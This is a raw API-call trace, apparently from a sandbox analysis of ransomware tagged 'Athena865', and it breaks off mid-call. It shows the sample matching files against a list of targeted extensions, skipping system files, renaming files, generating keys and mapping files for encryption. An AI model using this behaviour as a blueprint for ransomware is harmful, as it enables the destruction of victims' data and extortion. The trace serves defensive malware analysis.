[0042.724] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0042.724] lstrlenW (lpString="fmp") returned 3 [0042.724] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0042.724] lstrlenW (lpString="fmp12") returned 5 [0042.724] lstrcmpiW (lpString1="i.dll", lpString2="fmp12") returned 1 [0042.724] lstrlenW (lpString="fmpsl") returned 5 [0042.724] lstrcmpiW (lpString1="i.dll", lpString2="fmpsl") returned 1 [0042.724] lstrlenW (lpString="fol") returned 3 [0042.724] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0042.724] lstrlenW (lpString="fp3") returned 3 [0042.724] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0042.724] lstrlenW (lpString="fp4") returned 3 [0042.724] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0042.724] lstrlenW (lpString="fp5") returned 3 [0042.724] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0042.724] lstrlenW (lpString="fp7") returned 3 [0042.724] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0042.724] lstrlenW (lpString="fpt") returned 3 [0042.724] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0042.724] lstrlenW (lpString="frm") returned 3 [0042.724] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0042.724] lstrlenW (lpString="gdb") returned 3 [0042.724] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0042.724] lstrlenW (lpString="gdb") returned 3 [0042.724] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0042.724] lstrlenW (lpString="grdb") returned 4 [0042.725] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0042.725] lstrlenW (lpString="gwi") returned 3 [0042.725] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0042.725] lstrlenW (lpString="hdb") returned 3 [0042.725] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0042.725] lstrlenW (lpString="his") returned 3 [0042.725] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0042.725] lstrlenW (lpString="ib") returned 2 [0042.725] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0042.725] lstrlenW (lpString="idb") returned 3 [0042.725] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0042.725] lstrlenW (lpString="ihx") returned 3 [0042.725] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0042.725] lstrlenW (lpString="itdb") returned 4 [0042.725] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0042.725] lstrlenW (lpString="itw") returned 3 [0042.725] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0042.725] lstrlenW (lpString="jet") returned 3 [0042.725] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0042.725] lstrlenW (lpString="jtx") returned 3 [0042.725] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0042.725] lstrlenW (lpString="kdb") returned 3 [0042.725] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0042.725] lstrlenW (lpString="kexi") returned 4 [0042.725] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0042.725] lstrlenW (lpString="kexic") returned 5 [0042.725] lstrcmpiW (lpString1="i.dll", lpString2="kexic") returned -1 [0042.725] lstrlenW (lpString="kexis") returned 5 [0042.725] lstrcmpiW (lpString1="i.dll", lpString2="kexis") returned -1 [0042.725] lstrlenW (lpString="lgc") returned 3 [0042.725] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0042.725] lstrlenW (lpString="lwx") returned 3 [0042.725] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0042.725] lstrlenW (lpString="maf") returned 3 [0042.725] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0042.725] lstrlenW (lpString="maq") returned 3 [0042.725] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0042.726] lstrlenW (lpString="mar") returned 3 [0042.726] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0042.726] lstrlenW (lpString="marshal") returned 7 [0042.726] lstrcmpiW (lpString1="api.dll", lpString2="marshal") returned -1 [0042.726] lstrlenW (lpString="mas") returned 3 [0042.726] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0042.726] lstrlenW (lpString="mav") returned 3 [0042.726] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0042.726] lstrlenW (lpString="maw") returned 3 [0042.726] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0042.726] lstrlenW (lpString="mdbhtml") returned 7 [0042.726] lstrcmpiW (lpString1="api.dll", lpString2="mdbhtml") returned -1 [0042.726] lstrlenW (lpString="mdn") returned 3 [0042.726] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0042.726] lstrlenW (lpString="mdt") returned 3 [0042.726] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0042.726] lstrlenW (lpString="mfd") returned 3 [0042.726] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0042.726] lstrlenW (lpString="mpd") returned 3 [0042.726] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0042.726] lstrlenW (lpString="mrg") returned 3 [0042.726] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0042.726] lstrlenW (lpString="mud") returned 3 [0042.726] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0042.726] lstrlenW (lpString="mwb") returned 3 [0042.726] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0042.726] lstrlenW (lpString="myd") returned 3 [0042.726] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0042.726] lstrlenW (lpString="ndf") returned 3 [0042.726] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0042.726] lstrlenW (lpString="nnt") returned 3 [0042.726] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0042.726] lstrlenW (lpString="nrmlib") returned 6 [0042.726] lstrcmpiW (lpString1="pi.dll", lpString2="nrmlib") returned 1 [0042.726] lstrlenW (lpString="ns2") returned 3 [0042.727] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0042.727] lstrlenW (lpString="ns3") returned 3 [0042.727] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0042.727] lstrlenW (lpString="ns4") returned 3 [0042.727] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0042.727] lstrlenW (lpString="nsf") returned 3 [0042.727] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0042.727] lstrlenW (lpString="nv") returned 2 [0042.727] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0042.727] lstrlenW (lpString="nv2") returned 3 [0042.727] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0042.727] lstrlenW (lpString="nwdb") returned 4 [0042.727] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0042.727] lstrlenW (lpString="nyf") returned 3 [0042.727] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0042.727] lstrlenW (lpString="odb") returned 3 [0042.727] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0042.727] lstrlenW (lpString="odb") returned 3 [0042.727] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0042.727] lstrlenW (lpString="oqy") returned 3 [0042.727] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0042.727] lstrlenW (lpString="ora") returned 3 [0042.727] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0042.727] lstrlenW (lpString="orx") returned 3 [0042.727] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0042.727] lstrlenW (lpString="owc") returned 3 [0042.727] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0042.727] lstrlenW (lpString="p96") returned 3 [0042.727] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0042.727] lstrlenW (lpString="p97") returned 3 [0042.727] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0042.727] lstrlenW (lpString="pan") returned 3 [0042.727] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0042.727] lstrlenW (lpString="pdb") returned 3 [0042.727] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0042.728] lstrlenW (lpString="pdm") returned 3 [0042.728] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0042.728] lstrlenW (lpString="pnz") returned 3 [0042.728] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0042.728] lstrlenW (lpString="qry") returned 3 [0042.728] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0042.728] lstrlenW (lpString="qvd") returned 3 [0042.728] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0042.728] lstrlenW (lpString="rbf") returned 3 [0042.728] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0042.728] lstrlenW (lpString="rctd") returned 4 [0042.728] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0042.728] lstrlenW (lpString="rod") returned 3 [0042.728] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0042.728] lstrlenW (lpString="rodx") returned 4 [0042.728] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0042.728] lstrlenW (lpString="rpd") returned 3 [0042.728] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0042.728] lstrlenW (lpString="rsd") returned 3 [0042.728] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0042.728] lstrlenW (lpString="sas7bdat") returned 8 [0042.728] lstrcmpiW (lpString1="mapi.dll", lpString2="sas7bdat") returned -1 [0042.728] lstrlenW (lpString="sbf") returned 3 [0042.728] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0042.728] lstrlenW (lpString="scx") returned 3 [0042.728] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0042.728] lstrlenW (lpString="sdb") returned 3 [0042.728] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0042.728] lstrlenW (lpString="sdc") returned 3 [0042.728] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0042.728] lstrlenW (lpString="sdf") returned 3 [0042.728] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0042.728] lstrlenW (lpString="sis") returned 3 [0042.728] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0042.728] lstrlenW (lpString="spq") returned 3 [0042.728] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0042.729] lstrlenW (lpString="te") returned 2 [0042.729] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0042.729] lstrlenW (lpString="teacher") returned 7 [0042.729] lstrcmpiW (lpString1="api.dll", lpString2="teacher") returned -1 [0042.729] lstrlenW (lpString="tmd") returned 3 [0042.729] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0042.729] lstrlenW (lpString="tps") returned 3 [0042.729] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0042.729] lstrlenW (lpString="trc") returned 3 [0042.729] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0042.729] lstrlenW (lpString="trc") returned 3 [0042.729] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0042.729] lstrlenW (lpString="trm") returned 3 [0042.729] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0042.729] lstrlenW (lpString="udb") returned 3 [0042.729] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0042.729] lstrlenW (lpString="udl") returned 3 [0042.729] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0042.729] lstrlenW (lpString="usr") returned 3 [0042.729] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0042.729] lstrlenW (lpString="v12") returned 3 [0042.729] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0042.729] lstrlenW (lpString="vis") returned 3 [0042.729] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0042.729] lstrlenW (lpString="vpd") returned 3 [0042.729] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0042.729] lstrlenW (lpString="vvv") returned 3 [0042.729] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0042.729] lstrlenW (lpString="wdb") returned 3 [0042.729] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0042.729] lstrlenW (lpString="wmdb") returned 4 [0042.729] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0042.729] lstrlenW (lpString="wrk") returned 3 [0042.729] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0042.729] lstrlenW (lpString="xdb") returned 3 [0042.729] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0042.730] lstrlenW (lpString="xld") returned 3 [0042.730] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0042.730] lstrlenW (lpString="xmlff") returned 5 [0042.730] lstrcmpiW (lpString1="i.dll", lpString2="xmlff") returned -1 [0042.730] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll.Athena865") returned 61 [0042.730] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files (x86)\\internet explorer\\sqmapi.dll"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\sqmapi.dll.athena865"), dwFlags=0x1) returned 1 [0042.731] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\sqmapi.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0042.731] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=189952) returned 1 [0042.731] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0042.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0042.732] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0042.732] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.732] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.733] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e900, lpName=0x0) returned 0x154 [0042.734] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e900) returned 0x170000 [0042.743] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0042.744] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.744] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0042.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0042.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0042.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0042.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x530d08 [0042.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0042.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d08 | out: hHeap=0x4f0000) returned 1 [0042.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0042.745] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0042.747] CloseHandle (hObject=0x154) returned 1 [0042.747] CloseHandle (hObject=0x17c) returned 1 [0042.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0042.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0042.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.750] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2beeea10, ftCreationTime.dwHighDateTime=0x1d4efd4, ftLastAccessTime.dwLowDateTime=0x63fb0000, ftLastAccessTime.dwHighDateTime=0x1d510fa, ftLastWriteTime.dwLowDateTime=0x63fb0000, ftLastWriteTime.dwHighDateTime=0x1d510fa, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="theories.exe", cAlternateFileName="")) returned 1 [0042.750] lstrcmpiW (lpString1="theories.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.750] lstrcmpiW (lpString1="theories.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.750] lstrcmpiW (lpString1="theories.exe", lpString2=".") returned 1 [0042.751] lstrcmpiW (lpString1="theories.exe", lpString2="..") returned 1 [0042.751] lstrcmpiW (lpString1="theories.exe", lpString2="windows") returned -1 [0042.751] lstrcmpiW (lpString1="theories.exe", lpString2="bootmgr") returned 1 [0042.751] lstrcmpiW (lpString1="theories.exe", lpString2="temp") returned 1 [0042.751] lstrcmpiW (lpString1="theories.exe", lpString2="pagefile.sys") returned 1 [0042.751] lstrcmpiW (lpString1="theories.exe", lpString2="boot") returned 1 [0042.751] lstrcmpiW (lpString1="theories.exe", lpString2="ids.txt") returned 1 [0042.751] lstrcmpiW (lpString1="theories.exe", lpString2="ntuser.dat") returned 1 [0042.751] lstrcmpiW (lpString1="theories.exe", lpString2="perflogs") returned 1 [0042.751] lstrcmpiW (lpString1="theories.exe", lpString2="MSBuild") returned 1 [0042.751] lstrlenW (lpString="theories.exe") returned 12 [0042.751] lstrcpyW (in: lpString1=0x241e89a, lpString2="theories.exe" | out: lpString1="theories.exe") returned="theories.exe" [0042.751] lstrlenW (lpString="theories.exe") returned 12 [0042.751] lstrlenW (lpString="Athena865") returned 9 [0042.751] lstrcmpiW (lpString1="ories.exe", lpString2="Athena865") returned 1 [0042.751] lstrlenW (lpString=".dll") returned 4 [0042.751] lstrcmpiW (lpString1="theories.exe", lpString2=".dll") returned 1 [0042.751] lstrlenW (lpString=".lnk") returned 4 [0042.751] lstrcmpiW (lpString1="theories.exe", lpString2=".lnk") returned 1 [0042.751] lstrlenW (lpString=".ini") returned 4 [0042.751] lstrcmpiW (lpString1="theories.exe", lpString2=".ini") returned 1 [0042.751] lstrlenW (lpString=".sys") returned 4 [0042.751] lstrcmpiW (lpString1="theories.exe", lpString2=".sys") returned 1 [0042.751] lstrlenW (lpString="theories.exe") returned 12 [0042.751] lstrlenW (lpString="bak") returned 3 [0042.751] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0042.751] lstrlenW (lpString="ba_") returned 3 [0042.751] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0042.751] lstrlenW (lpString="dbb") returned 3 [0042.751] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0042.751] lstrlenW (lpString="vmdk") returned 4 [0042.751] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0042.751] lstrlenW (lpString="rar") returned 3 [0042.751] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0042.751] lstrlenW (lpString="zip") returned 3 [0042.752] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0042.752] lstrlenW (lpString="tgz") returned 3 [0042.752] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0042.752] lstrlenW (lpString="vbox") returned 4 [0042.752] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0042.752] lstrlenW (lpString="vdi") returned 3 [0042.752] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0042.752] lstrlenW (lpString="vhd") returned 3 [0042.752] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0042.752] lstrlenW (lpString="vhdx") returned 4 [0042.752] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0042.752] lstrlenW (lpString="avhd") returned 4 [0042.752] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0042.752] lstrlenW (lpString="db") returned 2 [0042.752] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0042.752] lstrlenW (lpString="db2") returned 3 [0042.752] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0042.752] lstrlenW (lpString="db3") returned 3 [0042.752] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0042.752] lstrlenW (lpString="dbf") returned 3 [0042.752] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0042.752] lstrlenW (lpString="mdf") returned 3 [0042.752] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0042.752] lstrlenW (lpString="mdb") returned 3 [0042.752] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0042.752] lstrlenW (lpString="sql") returned 3 [0042.752] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0042.752] lstrlenW (lpString="sqlite") returned 6 [0042.752] lstrcmpiW (lpString1="es.exe", lpString2="sqlite") returned -1 [0042.752] lstrlenW (lpString="sqlite3") returned 7 [0042.752] lstrcmpiW (lpString1="ies.exe", lpString2="sqlite3") returned -1 [0042.752] lstrlenW (lpString="sqlitedb") returned 8 [0042.752] lstrcmpiW (lpString1="ries.exe", lpString2="sqlitedb") returned -1 [0042.752] lstrlenW (lpString="xml") returned 3 [0042.752] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0042.752] lstrlenW (lpString="$er") returned 3 [0042.752] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0042.753] lstrlenW (lpString="4dd") returned 3 [0042.753] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0042.753] lstrlenW (lpString="4dl") returned 3 [0042.753] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0042.753] lstrlenW (lpString="^^^") returned 3 [0042.753] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0042.753] lstrlenW (lpString="abs") returned 3 [0042.753] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0042.753] lstrlenW (lpString="abx") returned 3 [0042.753] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0042.753] lstrlenW (lpString="accdb") returned 5 [0042.753] lstrcmpiW (lpString1="s.exe", lpString2="accdb") returned 1 [0042.753] lstrlenW (lpString="accdc") returned 5 [0042.753] lstrcmpiW (lpString1="s.exe", lpString2="accdc") returned 1 [0042.753] lstrlenW (lpString="accde") returned 5 [0042.753] lstrcmpiW (lpString1="s.exe", lpString2="accde") returned 1 [0042.753] lstrlenW (lpString="accdr") returned 5 [0042.753] lstrcmpiW (lpString1="s.exe", lpString2="accdr") returned 1 [0042.753] lstrlenW (lpString="accdt") returned 5 [0042.753] lstrcmpiW (lpString1="s.exe", lpString2="accdt") returned 1 [0042.753] lstrlenW (lpString="accdw") returned 5 [0042.753] lstrcmpiW (lpString1="s.exe", lpString2="accdw") returned 1 [0042.753] lstrlenW (lpString="accft") returned 5 [0042.753] lstrcmpiW (lpString1="s.exe", lpString2="accft") returned 1 [0042.753] lstrlenW (lpString="adb") returned 3 [0042.753] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.753] lstrlenW (lpString="adb") returned 3 [0042.753] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.753] lstrlenW (lpString="ade") returned 3 [0042.753] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0042.753] lstrlenW (lpString="adf") returned 3 [0042.753] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0042.753] lstrlenW (lpString="adn") returned 3 [0042.753] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0042.753] lstrlenW (lpString="adp") returned 3 [0042.753] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0042.753] lstrlenW (lpString="alf") returned 3 [0042.754] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0042.754] lstrlenW (lpString="ask") returned 3 [0042.754] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0042.754] lstrlenW (lpString="btr") returned 3 [0042.754] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0042.754] lstrlenW (lpString="cat") returned 3 [0042.754] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0042.754] lstrlenW (lpString="cdb") returned 3 [0042.754] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0042.754] lstrlenW (lpString="ckp") returned 3 [0042.754] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0042.754] lstrlenW (lpString="cma") returned 3 [0042.754] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0042.754] lstrlenW (lpString="cpd") returned 3 [0042.754] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0042.754] lstrlenW (lpString="dacpac") returned 6 [0042.754] lstrcmpiW (lpString1="es.exe", lpString2="dacpac") returned 1 [0042.754] lstrlenW (lpString="dad") returned 3 [0042.754] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0042.754] lstrlenW (lpString="dadiagrams") returned 10 [0042.754] lstrcmpiW (lpString1="eories.exe", lpString2="dadiagrams") returned 1 [0042.754] lstrlenW (lpString="daschema") returned 8 [0042.754] lstrcmpiW (lpString1="ries.exe", lpString2="daschema") returned 1 [0042.754] lstrlenW (lpString="db-journal") returned 10 [0042.754] lstrcmpiW (lpString1="eories.exe", lpString2="db-journal") returned 1 [0042.754] lstrlenW (lpString="db-shm") returned 6 [0042.754] lstrcmpiW (lpString1="es.exe", lpString2="db-shm") returned 1 [0042.754] lstrlenW (lpString="db-wal") returned 6 [0042.754] lstrcmpiW (lpString1="es.exe", lpString2="db-wal") returned 1 [0042.754] lstrlenW (lpString="dbc") returned 3 [0042.754] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0042.754] lstrlenW (lpString="dbs") returned 3 [0042.754] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0042.754] lstrlenW (lpString="dbt") returned 3 [0042.754] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0042.754] lstrlenW (lpString="dbv") returned 3 [0042.754] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0042.755] lstrlenW (lpString="dbx") returned 3 [0042.755] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0042.755] lstrlenW (lpString="dcb") returned 3 [0042.755] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0042.755] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0042.755] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0042.755] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0042.755] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\theories.exe.Athena865") returned 63 [0042.755] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\theories.exe" (normalized: "c:\\program files (x86)\\internet explorer\\theories.exe"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\theories.exe.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\theories.exe.athena865"), dwFlags=0x1) returned 1 [0042.756] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\theories.exe.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\theories.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0042.756] GetLastError () returned 0x20 [0042.756] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Internet Explorer\\theories.exe CreateFile error 32\r\n") returned 83 [0042.756] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Internet Explorer\\theories.exe CreateFile error 32\r\n") returned 83 [0042.756] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), 